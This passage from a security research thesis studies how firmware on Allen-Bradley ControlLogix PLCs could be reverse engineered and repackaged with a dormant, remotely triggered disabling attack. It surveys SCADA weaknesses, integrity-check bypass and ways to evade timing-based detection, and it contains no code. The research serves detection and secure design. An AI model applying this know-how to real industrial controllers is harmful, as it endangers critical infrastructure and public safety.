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Abstract
Unprotected Supervisory Control and Data Acquisition (SCADA) systems oﬀer
promising targets to potential attackers. Field devices, such as Programmable Logic
Controllers (PLCs), are of particular concern as they directly control and monitor physical
industrial processes. Although attacks targeting SCADA systems have increased, there has
been little work exploring the vulnerabilities associated with exploitation of ﬁeld devices.
As attacks increase in sophistication, it is reasonable to expect targeted exploitation of ﬁeld
device ﬁrmware.
This thesis examines the feasibility of modifying PLC ﬁrmware to execute a remotely
triggered attack. Such a modiﬁcation is referred to as a repackaging attack. A general
method is used to reverse engineer the ﬁrmware to determine its structure. Once
understood, the ﬁrmware is modiﬁed to add an exploitable feature that can remotely disable
the PLC. The attacks utilize a variety of triggers and take advantage of already existing
functions to exploit the PLC. Notable areas of the ﬁrmware are described to demonstrate
how they can be used in attack development. The performance of the repackaged ﬁrmwares
are compared to known unmodiﬁed ﬁrmwares to determine if the modiﬁcations negatively
impact performance. Findings demonstrate that repackaging attacks targeting PLCs are
feasible and that the repackaged ﬁrmware does not impact the PLC’s ability to execute
programmed tasks. Finally, design recommendations are suggested to help mitigate
potential weaknesses in future ﬁrmware development.
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PROGRAMMABLE LOGIC CONTROLLER MODIFICATION ATTACKS FOR USE
IN DETECTION ANALYSIS
I. Introduction
1.1 Background
Supervisory Control and Data Acquisition (SCADA) systems monitor and remotely
control critical industrial processes, such as gas pipelines, electric power transmission,
and potable water distribution/delivery [50]. In recent years, attacks targeting SCADA
systems have signiﬁcantly increased [53]. Indeed, aging equipment, unique hardware,
limited processing capabilities, and distance are factors that hamper the ability to
implement a low cost or viable solution for protection [25].
To date, attacks on SCADA systems have primarily focused on the high-level
systems (e.g., human machine interfaces) or network protocols (e.g., Ethernet or
MODBUS) [40]. Even Stuxnet, considered one of the most sophisticated cyber attacks
[22], exploited high-level application software and did not directly exploit the low-
level ﬁeld device ﬁrmware code [15]. Indeed, little research has been accomplished that
directly investigates the exploitation of ﬁeld device ﬁrmware code [8].
This research focuses primarily on ﬁeld devices, speciﬁcally on ﬁeld devices
known as Programmable Logic Controllers (PLCs). PLCs collect data and interact
with sensors, motors, valves, and other devices throughout an industrial complex for
streamlined management and automation control [10]. By assuming control of the PLC,
an attacker can directly aﬀect the outcome of, or interfere with, the underlying industrial
processes. As attacks increase in sophistication, it is likely that attackers will target PLC
ﬁrmware for exploitation; such attacks could have devastating consequences. The goal
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of this research is to determine the feasibility of developing ﬁrmware-based attacks that
speciﬁcally target the PLC. The attacks are intended to demonstrate the ability to disable
PLC functionality while remaining undetected. Once attack capabilities are understood,
solutions and strategies can be developed to mitigate the threats.
1.2 Motivation
The PLC remains a weak spot in industrial control security. For a variety of reasons,
companies are increasingly automating industrial systems. They are also exposing these
industrial systems to external networks in order to facilitate remote administration or to
save money by using existing communication links to maintain contact with remote end
points [54]. These actions have the unintended side-eﬀect of increasing the attack proﬁle
of SCADA networks. Ethernet modules used in conjunction with PLCs often host web
servers used for remote administration [40]. The PLC and PLC support modules were
designed for high availability, not security, exposing the PLC to the threat of attack [12].
The PLC directly interfaces with devices that control or measure industrial control
processes. A compromised PLC provides an attacker with direct access to data collected
by the sensors as well as actuators controlled by the PLC. This direct access provides
the ability to cause physical damage as seen in Project Aurora [34]. Exploiting such
weaknesses in a controlled manner highlights the need for improved industrial control
security and secure design strategies.
This research examines the feasibility of developing ﬁrmware based attacks that
speciﬁcally target the PLC. This research hypothesizes that an attacker is capable of
crafting an attack that disables/destroys the PLC. The attack must execute when signaled
using a pre-determined command, and otherwise remain dormant in the ﬁrmware.
The PLC is a purpose built computer designed speciﬁcally to operate industrial
control systems. The PLC is divided into three layers. The hardware layer contains the
physical components of the device including memory, processors, and interfaces needed
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to communicate with other components. The ﬁrmware layer acts as the operating system
of the PLC. Firmware provides services such as hardware and software monitors as well
as executing process control programs [11]. The programming layer contains the process
control program executed by the ﬁrmware. Firmware provides the control capability
while the process control programs provide speciﬁc instructions on how to handle process
inputs and outputs. The ﬁrmware is the primary focus of this research. A ﬁrmware based
attack is used because such an attack would function regardless of the task the PLC
performs and does not rely on exploiting a speciﬁc process control program.
1.2.1 Research Questions.
PLC ﬁrmware updates are provided by the manufacturer to add features, correct
bugs, or improve performance. The update process provides a vector for attacking the
PLC. Firmware images can be captured and modiﬁed to insert malicious instructions. The
ﬁrmware image is then repackaged to appear as a legitimate update to the PLC. Such an
attack is referred to as a repackaging attack [27]. Reverse engineering the ﬁrmware oﬀers
a path to success for executing the repackaging attack. In order to successfully reverse
engineer and modify the ﬁrmware, several sub-goals must be met.
1. Map ﬁrmware instructions to device functions.
In order to integrate the attack into the existing ﬁrmware image, it is necessary
to identify function calls that execute under known conditions. Such functions
provide the necessary triggers to execute the attack. The integrated attack may
also call existing functions in the ﬁrmware image. Such calls may contribute to
the attack by altering memory or sending the PLC into a fault state. The PLC is
not designed for interactivity and contains no terminal interface that could be used
for feedback during the reversing process [46]. However, the device contains a
debugging interface that can be used to trace program execution and step through
instructions.
3
2. Maintain device stability with added instructions.
A possible goal of an attacker may be the destruction of the PLC through the
use of maliciously modiﬁed ﬁrmware [40]. However, it may not be the intention
of the attacker to immediately execute the attack, but rather to implement the
attack as a trojan horse and execute at a later time. Since the attack is not executed
immediately, it must remain undetected until used. An associated challenge is
injecting instructions into the ﬁrmware without altering or overwriting functions
that are necessary for the PLC to function. The modiﬁed ﬁrmware must remain
stable and maintain timing performance [20]. Stability and performance evaluation
standards are deﬁned in Chapter III.
3. Bypass device veriﬁcation checks.
The PLC contains veriﬁcation tests that must be bypassed in order to force the PLC
to accept the modiﬁed ﬁrmware as a legitimate copy. Basnight et al. developed
methods for modifying the checksum and Cyclic Redundancy Check (CRC) used as
a veriﬁcation test on the Allen-Bradley Controllogix 1756-L61 PLC [8]. Basnight’s
et al. method is used to repackage the ﬁrmware image as a legitimate copy.
1.3 Research Contributions
This research serves primarily to develop secure design practices for protecting
SCADA devices by highlighting the inherent weaknesses in the design of the PLC
ﬁrmware. Furthermore, this research intends to demonstrate the feasibility of embedding
attacks in repackaged ﬁrmware. The process used to develop repackaged ﬁrmware can
provide insight into the methods attackers use to reverse engineer and exploit ﬁrmware.
1.4 Limitations
This experiment has several limitations and assumptions. The experiment uses
Allen Bradley Controllogix 1756-L61 PLCs. The ControlLogix 1756-L61 PLC was
4
chosen because of its use in directly related previous research and for its widespread use
in the industrial control sector [42]. The performance analysis used in this experiment
was developed by Dunlap using Allen Bradley PLCs and is assumed to represent data
collection capabilities available on other platforms [20].
PLC security is not turned on during the experiment. Note that PLC security is
a feature of Allen Bradley PLCs that locks the Central Processing Unit (CPU) with a
password. This feature is turned oﬀ by default when shipped by the manufacturer and the
default security setting is rarely changed [40]. This research does not evaluate the eﬀects
of PLC security on the repackaged ﬁrmware.
The Controllogix 1756-L61 PLC is set to REMOTE mode for the duration of
the experiment. This mode allows the device to be remotely managed to include both
monitoring and updating tasks [45]. Physical access to the PLC is required to update
either the ﬁrmware or programs if the PLC is moved out of REMOTE mode using the
front panel mode switch.
The monitoring system is limited to program execution time comparisons only
[20]. The Controllogix 1756-L61 PLC must meet program execution time speciﬁcations
in order to satisfy system requirements [11]. The repackaged ﬁrmware can remain
undetected if it does not adversely impact program execution times. Additionally,
network traﬃc monitoring shown by research such as McMinn et al. has demonstrated
eﬀectiveness in detecting unauthorized changes to ﬁrmware images [33].
The Controllogix 1756-L61 PLC is assumed stable after eight hours of continuous
operation without major fault using the repackaged ﬁrmware. No process program is
executed during stability testing. This test is not exhaustive, and is assumed suﬃcient
for the purpose of this proof-of-concept experiment. Furthermore, only the stability
of the ﬁrmware is tested. While program execution times are important for measuring
performance impacts, the correctness of program outputs are not tested.
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1.5 Methodology Summary
The feasibility of modifying the ﬁrmware of a PLC is determined through the use
of reverse engineering and assembly program development. The Controllogix 1756-L61
PLC must continue to operate without a major fault after the repackaged ﬁrmware is
installed until the attack is executed. The attacks built in to the repackaged ﬁrmware are
evaluated for correct functionality and stability using the evaluation criteria speciﬁed in
Chapter III.
The attack is developed by acquiring the unmodiﬁed ﬁrmware and using reverse
engineering tools to analyze the instructions and determine the internal structure. With
knowledge of the internal structure, an attack is crafted to disable the device at the
prompting of an external source. Such an attack is one of several proposed as possible
attacks against embedded devices by Peck and Petersen [40].
Finally, program execution times are collected from the Controllogix 1756-L61 PLC
using both the unmodiﬁed and repackaged ﬁrmware. The collected program execution
times are compared to determine statistically signiﬁcant impacts to performance caused
by the repackaged ﬁrmware. The performance analysis method was developed by Dunlap
to detect alterations to ﬁrmware images [20].
1.6 Thesis Overview
Chapter II discusses relevant works used to develop the reverse engineering plan in
this experiment. Chapter III provides a detailed description of the methodology. Chapter
IV presents the results of the reverse engineering experiment. Chapter V summarizes the
thesis topic and recommends areas of future research.
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II. Background
2.1 Overview of SCADA
SCADA systems provide a means to collect data and exert control over distributed
industrial processes. SCADA provides the means for operators to monitor and control
systems spread over a large geographic region from a central control point. Typically,
SCADA is used in critical infrastructure such as municipal water delivery/treatment, oil
and gas pipelines, or electrical power distribution [50].
2.1.1 SCADA Characteristics.
As shown in Figure 2.1, SCADA networks have three basic components: a central
control station; ﬁeld devices; and the communication links between the control station
and the ﬁeld devices [11].
Figure 2.1: Logical SCADA Layout.
The central control station typically contains an Human Machine Interface (HMI)
that allows operators to interact with the SCADA network. Operators provide instructions
to ﬁeld devices and monitor the status of the network [11]. The HMI contains the bulk
of the computing power in the SCADA network and can provide many of the services
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needed by the system. The central control point monitors and controls the ﬁeld devices
and provides scheduling and logging using data gathered from remote nodes. The HMI
manages and presents data collected throughout the network to the human operators [11].
The communication link between the control center and the ﬁeld devices can be
any medium capable of transmitting data as long as it satisﬁes the system requirements.
The types of links used are often determined by the distance between stations, the
physical barriers between those stations, or the existing communications links [11].
For instance, radio communications can be used to reach sites that are separated by
rough or undeveloped terrain. Within a city it may be possible to utilize existing cell
phone networks for communication. Links can consist of wireless radio, telephone, or
increasingly Ethernet.
SCADA devices utilize diﬀerent protocols to facilitate communication [55]. Some of
the more widely-used protocols include the following.
• Distributed Network Protocol v3 (DNP3): This protocol was originally designed to
provide an open standard for communication between SCADA devices [18]. DNP3
was designed speciﬁcally for the electrical utility industry but is also used in water
and oil transportation. DNP3 was originally developed as a serial line protocol, but
now supports Internet Protocol (IP) based communication as well.
• Modbus: This protocol is an open standard and the most widely used communica-
tion standard for industrial systems [18]. Modbus supports both wired and wireless
communications with extensive use in the oil and gas distribution and delivery in-
dustry.
• FOUNDATION Fieldbus: This protocol is used extensively in process control
[23]. It has two implementations: a low speed version for ﬁeld devices, and a high
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speed version speciﬁcally designed to operate with standard Ethernet based network
devices such as routers and switches.
• Common Industrial Protocol (CIP): The Common Industrial Protocol is a media
independent messaging protocol utilized in the industrial sector [49]. This protocol
was designed to be scalable, used at every level of the automation process, and
integrate easily into Ethernet based networks.
The ﬁeld devices at the edge of the SCADA network contain embedded devices
that control and monitor physical processes. The PLC is an example ﬁeld device that
contains programmable memory for the purpose of executing a sequence of instructions
that collect data from attached sensors and transmit that data back to the operations center.
The PLC can also translate instructions into actuator movement based on the input of
the attached sensors (e.g., opening or closing a valve or changing the speed of a motor)
[50]. A typical PLC conﬁguration shown in Figure 2.2 consists of several interchangeable
modules connected to a chassis and conﬁgured to control a process.
Figure 2.2: Example PLC Chassis Layout [43].
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Basnight et al. describe the multilevel architecture of the PLC [8]. The three layers
are the hardware, ﬁrmware, and a programmable layer. The intermediate ﬁrmware
layer provides the interface between the hardware and the programmed instructions
loaded by the engineer. All functions made available in the ﬁrmware must map to a
hardware implementation [24]. In embedded devices, the ﬁrmware is considered the
operating system [51]. Embedded devices such as PLCs use ﬁrmware as an operating
system since the size and capacity of the device make it unnecessary to implement an
additional software based operating system to operate on top of the ﬁrmware. Because
of this design, ﬁrmware within SCADA devices can be full featured and oﬀer a variety
of services such as a web server for remote administration. Many SCADA devices also
allow the ﬁrmware to be updated remotely. Note that these types of convenience features
also provide possible attack vectors to potential adversaries.
2.1.2 SCADA History.
SCADA history can be categorized into three stages. In the earliest incarnation
of SCADA networks, the mainframe was the center of the network. Technicians could
monitor the status of the network through an HMI that was tied directly to the mainframe.
On the remote end were the ﬁeld devices and sensors recording information and relaying
data to the mainframe. Telephone networks provided the communication links between
the central mainframe and ﬁeld devices. The networks were either leased from the
local telephone provider or installed by the equipment owner. This centralized SCADA
architecture began in the 1960’s and continued through the 1980’s [50].
Beginning in the 1980’s and continuing today, the next stage of SCADA networks
employed a distributed architecture. Rather than risk failure on a single mainframe,
work was divided among several systems that each performed a certain function. This
implementation alleviated the risk of a single point of failure, and made redundancy easier
[50].
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Beginning in the 1990’s, SCADA networks evolved to incorporate traditional
Information Technology (IT) methods and implemented client/server networks.
Controlling servers were implemented using a combination of special purpose equipment
and commercial oﬀ the shelf hardware. Communication between the central control
point and remote sensors changed to Local Area Network (LAN) or Wide Area Network
(WAN) technologies rather than telephone lines [50].
2.2 Security Issues Associated with SCADA Networks
There are several security challenges in the SCADA realm. These challenges
stem from disparate requirements between industrial control systems and Internet
networking technology. Between the three core principles of information assurance (i.e.,
conﬁdentiality, integrity, and availability), SCADA networks are designed primarily for
availability [28]. Internet technologies focus on integrity and conﬁdentiality. Depending
on the environment, a traditional corporate network can tolerate slow or lost network
connectivity. A SCADA environment, however, has minimal tolerance for data loss or
communication delay. The SCADA network is expected to be available for extended
periods of time and to meet strict timing requirements [12].
Security in an industrial control system was traditionally implemented by physically
isolating the SCADA network from the Internet or the corporate network. The need to
reduce costs by eliminating redundancies, and the need to increase the speed with which
information is available have motivated SCADA network engineers to adopt common
networking technologies, exposing SCADA networks to the Internet [12]. The adoption
of traditional networking protocols can reduce or eliminate redundant and expensive
communication links such as leased telephone lines, however, their usage also exposes
SCADA devices to the same attacks that more mature Internet enabled devices defend
against by default.
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In June of 2010, security researchers from VirusBlokAda discovered what would
come to be known as the Stuxnet worm [15, 31]. This worm did not attack the PLC
directly, but rather targeted the controlling HMI. Stuxnet was designed to destroy speciﬁc
types of gas centrifuges, believed to be used in uranium enrichment for nuclear weapons
by varying the speed of the controlling motors and operating the centrifuges outside of
their accepted operational range.
As a result of Stuxnet, SCADA security awareness has gained increased exposure in
the industrial control community [25]. Indeed, SCADA security is no longer treated as a
theoretical problem, and vulnerability discovery has risen exponentially since 2010 [53].
However, SCADA security is often relegated to IT specialists who are often unfamiliar
with the protocols and processes used in SCADA networks and are unable to adequately
protect SCADA resources [12]. Additionally, the ﬁeld devices of SCADA networks are
typically low power and low capability sensors. These devices do not have the computing
power or communication bandwidth to accommodate the additional overhead incurred
by implementing security measures such as encryption or authentication. Should more
secure hardware become available, replacement costs may deter adoption, with a single
Controllogix 1756-L61 PLC costing approximately $6500.00 [41]. This replacement cost
is multiplied in installations using multiple PLCs.
Dzung et al. point out that the long lifespan of SCADA ﬁeld devices means
that new devices added to the network will likely have to be backwards compatible
with technology or protocols 10 or more years old [21]. This burden carries forward
vulnerabilities associated with the older protocols. Additionally, Dzung et al. show
signiﬁcant security ﬂaws in several areas of ICS networks. Wireless radio networks
are susceptible to jamming and environmental interference. Power line communication
systems are susceptible to eavesdropping because the power lines were not designed for
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data transmission rates. Impedance mismatches and noisy communication medium cause
signiﬁcant signal leakage.
Igure et al. examine the general state of SCADA security and summarize many of
the associated concerns [26]. SCADA networks are vulnerable to attack because SCADA
devices are low capability, designed for performance rather than security, and utilize
a large number of unique protocols that all must be protected equally. Yet despite the
security weaknesses of SCADA devices, they are increasingly connected to the Internet
without the beneﬁt of the same types of protection that IT assets have had access to for
years. Igure et al. point out that the lack of encryption on the typical SCADA network
means that any attacker that gains access to the network can monitor traﬃc and learn the
commands used to communicate between the operations center and the ﬁeld devices [26].
Igure et al. outline three security challenges that must be addressed in SCADA
networks [26]. First, improving access controls by eliminating or securing entry points
into the network and using more robust authentication such as smart card access. A
typical ﬂaw in embedded systems is that the device password is often stored in non-
volatile memory and in an unencrypted form [21]. Second, strengthening interior
network security by implementing ﬁrewalls or Intrusion Detection System (IDS),
implementing cryptography, and improving protocol security. There are few vendors,
however, that include support for common SCADA protocols in their ﬁrewalls or
IDSs [26]. Finally, when implementing eﬀective security management, Igure et al.
stress the need to implement eﬀective security policies, and a strategy that includes
conﬁguration management as well as security auditing and assessment to use as feedback
for improvements.
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2.3 Emedded Device Security
This section summarizes research focused speciﬁcally on the security of embedded
devices. Note that not all research is speciﬁc to SCADA security. Regardless, the research
emphasises the types of weaknesses found in embedded systems.
Dacosta et al. discuss their analysis of the ﬁrmware from a Cisco 7960G IP phone
[17]. They highlight the vulnerabilities present in embedded devices. They performed
both dynamic and static analysis of the ﬁrmware images used on the typical Cisco phone
available in 2007. Dynamic analysis did not reveal any major vulnerability. However,
static analysis showed that the ﬁrmware was built using a version of the C programming
language. During analysis, the authors found instances of known unsafe functions such as
strcpy or malloc [17]. These types of functions have been exploited in the use of buﬀer
overﬂow attacks, and their use in C is strongly discouraged. Additionally, the authors
found little to no memory protection, predictable stack layouts, and debugging functions
that output messages about the state of the software to a telnet terminal. According to the
authors, many of these issues have been addressed through patches, but this is just one
example of an embedded system and weaknesses that are likely present throughout the
sector.
McMinn highlights a critical component of embedded device security in Integrated
Circuit (IC) supply chain management [32]. Manufacturers purchase general purpose ICs
rather than design chips for speciﬁc needs. When integrating chips into a device, the chips
are often tested only to ensure they are capable of successfully performing the needed
functions rather than all possible functions. This type of testing leaves open the possibility
of embedding functions into the IC that would allow an attacker to modify the behavior
of the device at a later time [5]. This potential vulnerability has led to DARPA’s “Trust
in IC’s” [16] and “Integrity and Reliability in Integrated Circuits” initiatives [36]. Both
initiatives seek to create methods to determine if an IC contains malicious logic. There is
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also a simultaneous eﬀort to certify trusted vendors [52]. Such eﬀorts help mitigate the
risks in purchasing components from multiple vendors.
McFadden et al. describe three types of supply chain attacks [30]. Circuitry
modiﬁcation, programmable hardware attacks, and ﬁrmware attacks. Firmware provides
the interface between device hardware and software and provides a vector of attack.
Modiﬁed ﬁrmware can intercept requests for services from the device hardware or
modify returned results to suit the needs of the attacker. Many embedded devices contain
modiﬁable ﬁrmware which provides both a means of protection for the system owner
and an additional means of attack. Flash programmable devices can be updated to close
potential security holes, but also provide an attacker the means to upload malicious
ﬁrmware to the device. The problem can be exacerbated in cases where the device
requires no authentication to update the ﬁrmware.
Abramovici and Bradley propose incorporating defensive logic into ICs [2]. As seen
in Figure 2.3, the logic passively captures signals among the various segments of the chip.
The logic allows users to monitor the chip for abnormal behavior by checking for output
signals from a device when it should be in a powered oﬀ state or if the clock is disabled.
Such logic could also be used to provide basic memory protection to identify attempts to
address restricted or unused memory. Indeed, such a design may be eﬀective in detecting
possible attacks, or possible execution of trojan logic, and it provides a method to detect
trojan logic in existing devices.
Duﬂot et al. discuss measures that can be used to detect a potentially compromised
embedded device [19]. Their research focuses mainly on network interface cards, but the
proposed solutions could be applied to other types of embedded devices that interact with
a trusted agent such as a host responsible for distributing ﬁrmware updates. Duﬂot et al.
state that successful attacks have been developed for several types of embedded devices
such as keyboard controllers, chipsets, and network interface cards. These are devices that
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Figure 2.3: IC Defensive Monitor Example [2].
run with system privileges, and can be used to compromise the operating system of a host
device. This same lesson can be applied to a PLC where a compromised module could be
used to gain control of the device ﬁrmware.
Duﬂot et al. summarize two methods for monitoring an embedded device for
possible compromise [19].
1. The ﬁrst method is called Control Flow Integrity. This method states that a device
must follow a predetermined control path based on the inputs to the device. The
control path can be monitored through memory access control. If the ﬁrmware
attempts to move to a memory location outside its area of control, then an alarm
condition is raised. This method also uses a shadow stack, or a copy of the
ﬁrmware’s stack maintained by a monitor, to verify that the actual stack matches
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a pre-determined structure. An alarm is raised if a stack pointer attempts to redirect
control ﬂow to an unknown instruction.
2. The second method is Remote Firmware Attestation. This method computes
a checksum from the contents of the memory of an embedded device. If the
checksum matches predetermined good values, then the device is considered
trusted. Duﬂot et al. acknowledge that this method can be defeated if an attacker
maintains known valid copies of memory and uses those stored states to calculate
a valid checksum. This challenge can be overcome by setting a time target for
calculation [19]. To overcome this challenge, Abuhmed et al. propose calculating
the checksum based on the entire memory space so that cached copies cannot be
stored by an attacker. Note that calculating a checksum for the entire memory space
imposes a performance penalty [4].
2.4 PLC Security Research
Mulder et al. analyze PLCs for weaknesses by looking at diﬀerent segments of
the device [37]. This includes performing hardware analysis, ﬁrmware analysis, and
analyzing backplane communications. These three approaches provide complimentary
clues about the structure of the device. In hardware analysis, individual components
are catalogued and researched to build a list of device speciﬁcations. Determining the
type of CPU used in the PLC makes disassembly of the ﬁrmware possible, and analysis
of the memory can provide the security researchers with information about the amount
and organization of memory. Clues in the ﬁrmware lead to information about how the
diﬀerent hardware components are addressed and used, and can provide information
about how the PLC memory is organized. Mulder et al. point out that interactions
between modules are often performed with well known protocols that can be captured
from the backplane using a logic analyzer. This information is used in conjunction
with the ﬁrmware analysis to learn how the device communicates with other modules.
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Knowledge of the structure of this traﬃc can provide a valuable tool in the dynamic
analysis of the PLC for security vulnerabilities.
Schwartz et al. provide a thorough overview of several of the largest PLC vendors
on the market as of 2010. This summary includes vendor proﬁles, a summary of the
communications protocols by industry such as electric, oil and gas, and an analysis of
the types of components used by each vendor. The summary also includes information
such as commonly used ports for each of the major communications protocols which can
be useful during network scans. They point out that a single PLC may contain a mixture
of several diﬀerent types of processors such as ARM and PowerPC. For example, the
Siemen’s S7-200 contains a Texas Instrument’s processor, AMD driven ﬂash memory,
and an Atmel chip for Analog I/O [55].
McMinn proposes the use of an external veriﬁcation tool that can record and
monitor any updates sent to the PLC [32]. This system consists of a device connected
to a passive tap on the communication channel between the controller and the PLC as
shown in Figure 2.4. Any updates sent to the PLC must match an approved baseline
that is tracked on the monitoring device. Any unauthorized changes can be reported
for further investigation. In essence, this system provides a form of hardware-based
conﬁguration management. The veriﬁcation tool tracks all changes at the “last externally
electronically modiﬁable point” [32]. This solution logically isolates the PLC and its
sensors/actuators from the rest of the network. Doing so addresses the problem of an
attacker having access to a normally trusted host within the network who has managed
to avoid perimeter security measures. However, this system needs to be updated regularly
with any approved changes to the baseline, and the baselines must be veriﬁed to match
manufacturer ﬁrmware updates or patches. The veriﬁcation tool may passively monitor
PLC communications, but the tool still requires network access for updates and is
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vulnerable to attack. If this system can be circumvented then that logical isolation is
broken.
Bellettini et al. propose a similar method by encrypting any messages meant for the
PLC in memory to protect it from malicious modiﬁcation [9]. This method protects not
just the command information, but also the non-command data intended for the PLC.
This solution is implemented on the control server responsible for communicating with
the PLC. It may not work for all conﬁgurations because it requires a modiﬁcation to the
kernel. The protection may also be circumvented on a machine under the control of an
attacker. Furthermore, this protection mechanism works only on the host responsible for
communication with the PLC, which leaves open attack vectors along the communication
path between the communicating host and the PLC.
Figure 2.4: External Veriﬁcation Passive Tap [32].
Firmware on embedded devices is often handled as a black box. Additionally,
because of the low capacity of embedded devices, ﬁrmware is written as eﬃciently as
possible with little thought for secure coding practices [8]. Many embedded devices
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in the industrial sector can be updated remotely or through ﬂash media. As attackers
turn their attention to ﬁrmware, it will become necessary to analyze ﬁeld devices for
compromise. Sickendick developed a method to automatically disassemble ﬁrmware
and categorize segments based on ﬁle type through the use of sliding window analysis
[51]. His method identiﬁes ﬁrmware code segments (both compressed and uncompressed)
and the architecture that the code segment supports by applying techniques commonly
used in malware analysis. This method can be utilized to build a baseline proﬁle of
PLC ﬁrmware. The baseline can be used as a basis for comparison against a potentially
compromised embedded device. His particular research did not address the issue of
extracting ﬁrmware from a device in a non-destructive manner.
Basnight et al. developed a formalized procedure to analyze the ﬁrmware image for
possible validation techniques[8]. Although embedded devices lack strong authentication,
input validation is still performed to check for ﬁle integrity (e.g., checksums and CRC).
Basnight et al. analyzes a legitimate ﬁrmware load for built-in validation procedures.
The process consists of obtaining a copy of the target ﬁrmware and analyzing it for
possible validation features. To determine the actual validation method, Basnight et al.
outlines three diﬀerent methods. First is disassembly analysis of the original ﬁrmware
code section using a disassembly tool such as Ida Pro. Second is black box analysis which
examines the ﬁrmware image without knowledge of the ﬁrmware’s internal design. Third
is hardware debugging if the device supports the use of debugging tools such as a Joint
Test Action Group (JTAG) interface.
Dunlap uses PLC execution times as a side channel to detect a potentially
compromised PLC [20]. The PLC operates in a deterministic manner, as opposed to a
general purpose workstation. The PLC is expected to execute the loaded program in a
continuous loop and within a ﬁxed time constraint as long as the PLC is in operation. The
ﬁxed time constraint provides an eﬀective metric for detecting unauthorized modiﬁcation.
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If the PLC ﬁrmware is modiﬁed to a suﬃcient degree, the method developed by Dunlap
can detect the change in operation and generates an alert. This method provides a device
ﬁngerprint which can be used regularly to verify the conﬁguration of a PLC. Knowing the
threshold of the side channel analysis, however, allows the attacks to be tuned to evade
detection.
2.5 Embedded Device Attacks
Peck and Peterson demonstrate attacks against Ethernet adapters in ﬁeld devices
using commonly available tools [40]. They demonstrate that ﬁeld devices allow ﬁrmware
updates without authentication. Note that the Koyo device tested by the authors did not
require a checksum. The authors developed and demonstrated an attack against a device
by reverse engineering ﬁrmware loads that were publicly available from the vendors
website. Analyzing the code using Ida Pro, the authors were able to determine the
structure of the code segment as well as the intended architecture. With this knowledge,
they were able to modify the ﬁrmware to include a proof-of-concept function that pinged
a particular IP address at regular intervals. The authors point out that the modiﬁcation
could easily have allowed the attacker to take control of the device at any time, or to build
in a function that would cause the device to fail at a pre-determined point. With tools
such as Sickendicks ﬁrmware analysis tool [51], it would be possible to automatically
determine the structure and architecture of the ﬁrmware load, enabling faster attack
development.
Ca´rdenas et al. deﬁne targeted attacks as attacks where the malicious party tailors the
attack method for the targeted SCADA network. The authors provide two well known
examples of targeted attacks against SCADA networks, the Maroochy Shire Council
water breach and Stuxnet [14]. The Maroochy water breach was orchestrated by an
employee of the IT ﬁrm hired to develop the sewage control system. As such, this attack
required no malicious modiﬁcation of the IT system; rather, the attacker used insider
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knowledge of the system from his time as an employee to issue commands that caused
the water system to purge. This attack highlights the need to implement strict access
controls with changing credentials, and command auditing for use in forensic analysis
in the case of an attack [3]. Stuxnet used multiple zero-day exploits and a compromised
driver-signing certiﬁcate to gain access to the HMI systems [15]. Stuxnet is an example of
a highly targeted attack, even including logic that caused the worm to remain dormant if it
was installed on a system that was not the intended target.
Long et al. demonstrate the eﬀects of network based Denial-of-Service (DoS) attacks
against network based control systems [29]. Network based DoS attacks can cause serious
performance degradation and error, particularly in a timing based controller environment
when there is signiﬁcant delay between the measurement and the calculated response.
Long et al. suggest measuring the rate of incoming packets and blocking sources if the
arrival rate exceeds a certain threshold.
Santamarta describes how it is possible to use a combination of reverse engineering
and network monitoring to exploit CIP and craft a remote attack [48]. The attacks utilize
the network interface available for the Allen-Bradley 1756-ENBT network module. This
module allows other modules on the same chassis to send and receive data through a
common IP based interface. Chassis modules are conﬁgured for communication using
port 44818 to send and receive CIP commands. Santamarta was able to craft a CIP
message to change the security password on an attached Controllogix PLC. Santamarta
also noted that the password was sent in clear text through the CIP message. Through
reverse engineering the 1756-ENBT ﬁrmware image, Santamarta was able to ﬁnd several
other CIP commands that could be exploited for a DoS attack, such as changing the 1756-
ENBT module IP address, or forcing the PLC CPU to enter a fault state which would
require physical access to the PLC to repair.
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Jung et al. show the eﬀectiveness of repackaging attacks on Android banking
applications [27]. A repackaging attack is executed by reverse-engineering an application,
adding arbitrary attack code, then rebuilding a forged application to appear valid. They
exploit a weakness in Android development by self-signing the forged application which
is then accepted as legitimate. Jung et al. modify seven popular banking applications to
divert funds to an attacker’s account. Using the forged application, the team was able
to steal funds without requiring any certiﬁcates, passwords, or security cards. The team
recommends eliminating the Android self-signing policy even though they acknowledge
that such a move would eliminate the open nature of Android development. They further
recommend code obfuscation and remote attestation as measures to further enhance
application security and to prevent tampering.
2.6 Reverse Engineering Research
Methods used by previous researchers provide valuable clues about how to approach
the reverse engineering eﬀort. During their examination of existing SCADA Ethernet
modules, Peck and Peterson begin by downloading multiple versions of the ﬁrmware
images and comparing diﬀerences between images in an attempt to identify static ﬁelds
or identiﬁable blocks of data [40]. They further examine the images using a hexadecimal
editor to look for readable text strings that may occur during known actions, or that may
be part of a symbol table. Two pieces of information in particular are critical to beginning
the reverse engineering process and making it possible to ﬁnd executable instructions.
First, and most importantly, Peck and Peterson identiﬁed the architecture of the ﬁrmware
image. Clues in the readable text of the ﬁrmware image show that the image was built
for the PowerPC. Second, Peck and Peterson use information from the symbol table to
ﬁnd the load address for the entire ﬁrmware image. The architecture information allows
the disassembler to be conﬁgured correctly and interpret the opcodes in the ﬁrmware
image. The disassembler can also correctly interpret absolute memory addresses given
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a correct load address. Once disassembled, the code is examined for usable or exploitable
functions. In the case of the network modules examined by Peck and Peterson, function
names in the symbol table provide clues about their purpose. The authors ﬁnd two
functions named nc RamValidateChecksumsWriteFlash and ffs CalcChecksum.
Since these functions provide data validation for new ﬁrmware images, the authors are
able to custom build and upload altered ﬁrmware images to the Ethernet module and
exploit the device using added functions.
Jung et al. describe their reverse engineering methods used to build repackaged
Android banking applications [27]. Jung et al. use logging tools to correlate actions
performed in the user interface with speciﬁc portions of the existing banking application.
This eases the disassembly process by allowing the authors to only analyze and modify
the portion of the application needed to execute the attack. It also allows the authors
to add functionality to the application in an area whose execution occurs under known
circumstances. Once the modiﬁcation point is known, Jung et al. disassemble the
function, modify as needed, and repackage the application by updating the manifest
and self-signing the application. This example illustrates the need to carefully select
a modiﬁcation point. Placing attack code in a poorly understood area of the ﬁrmware
or application may cause the modiﬁed software to fail, alerting the device owner to the
presence of the compromise.
2.7 Summary
For a variety of reasons, companies are increasingly automating industrial systems.
In doing so, they are exposing control systems to external networks to facilitate remote
administration, or save money by using existing communication links. This additional
exposure has the unintended side-eﬀect of increasing the attack proﬁle of the SCADA
networks. Even though these control systems are more vulnerable to attack than
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ever, security research in the SCADA realm still lags behind traditional information
technology.
This chapter summarized the purpose and history of SCADA networks and listed
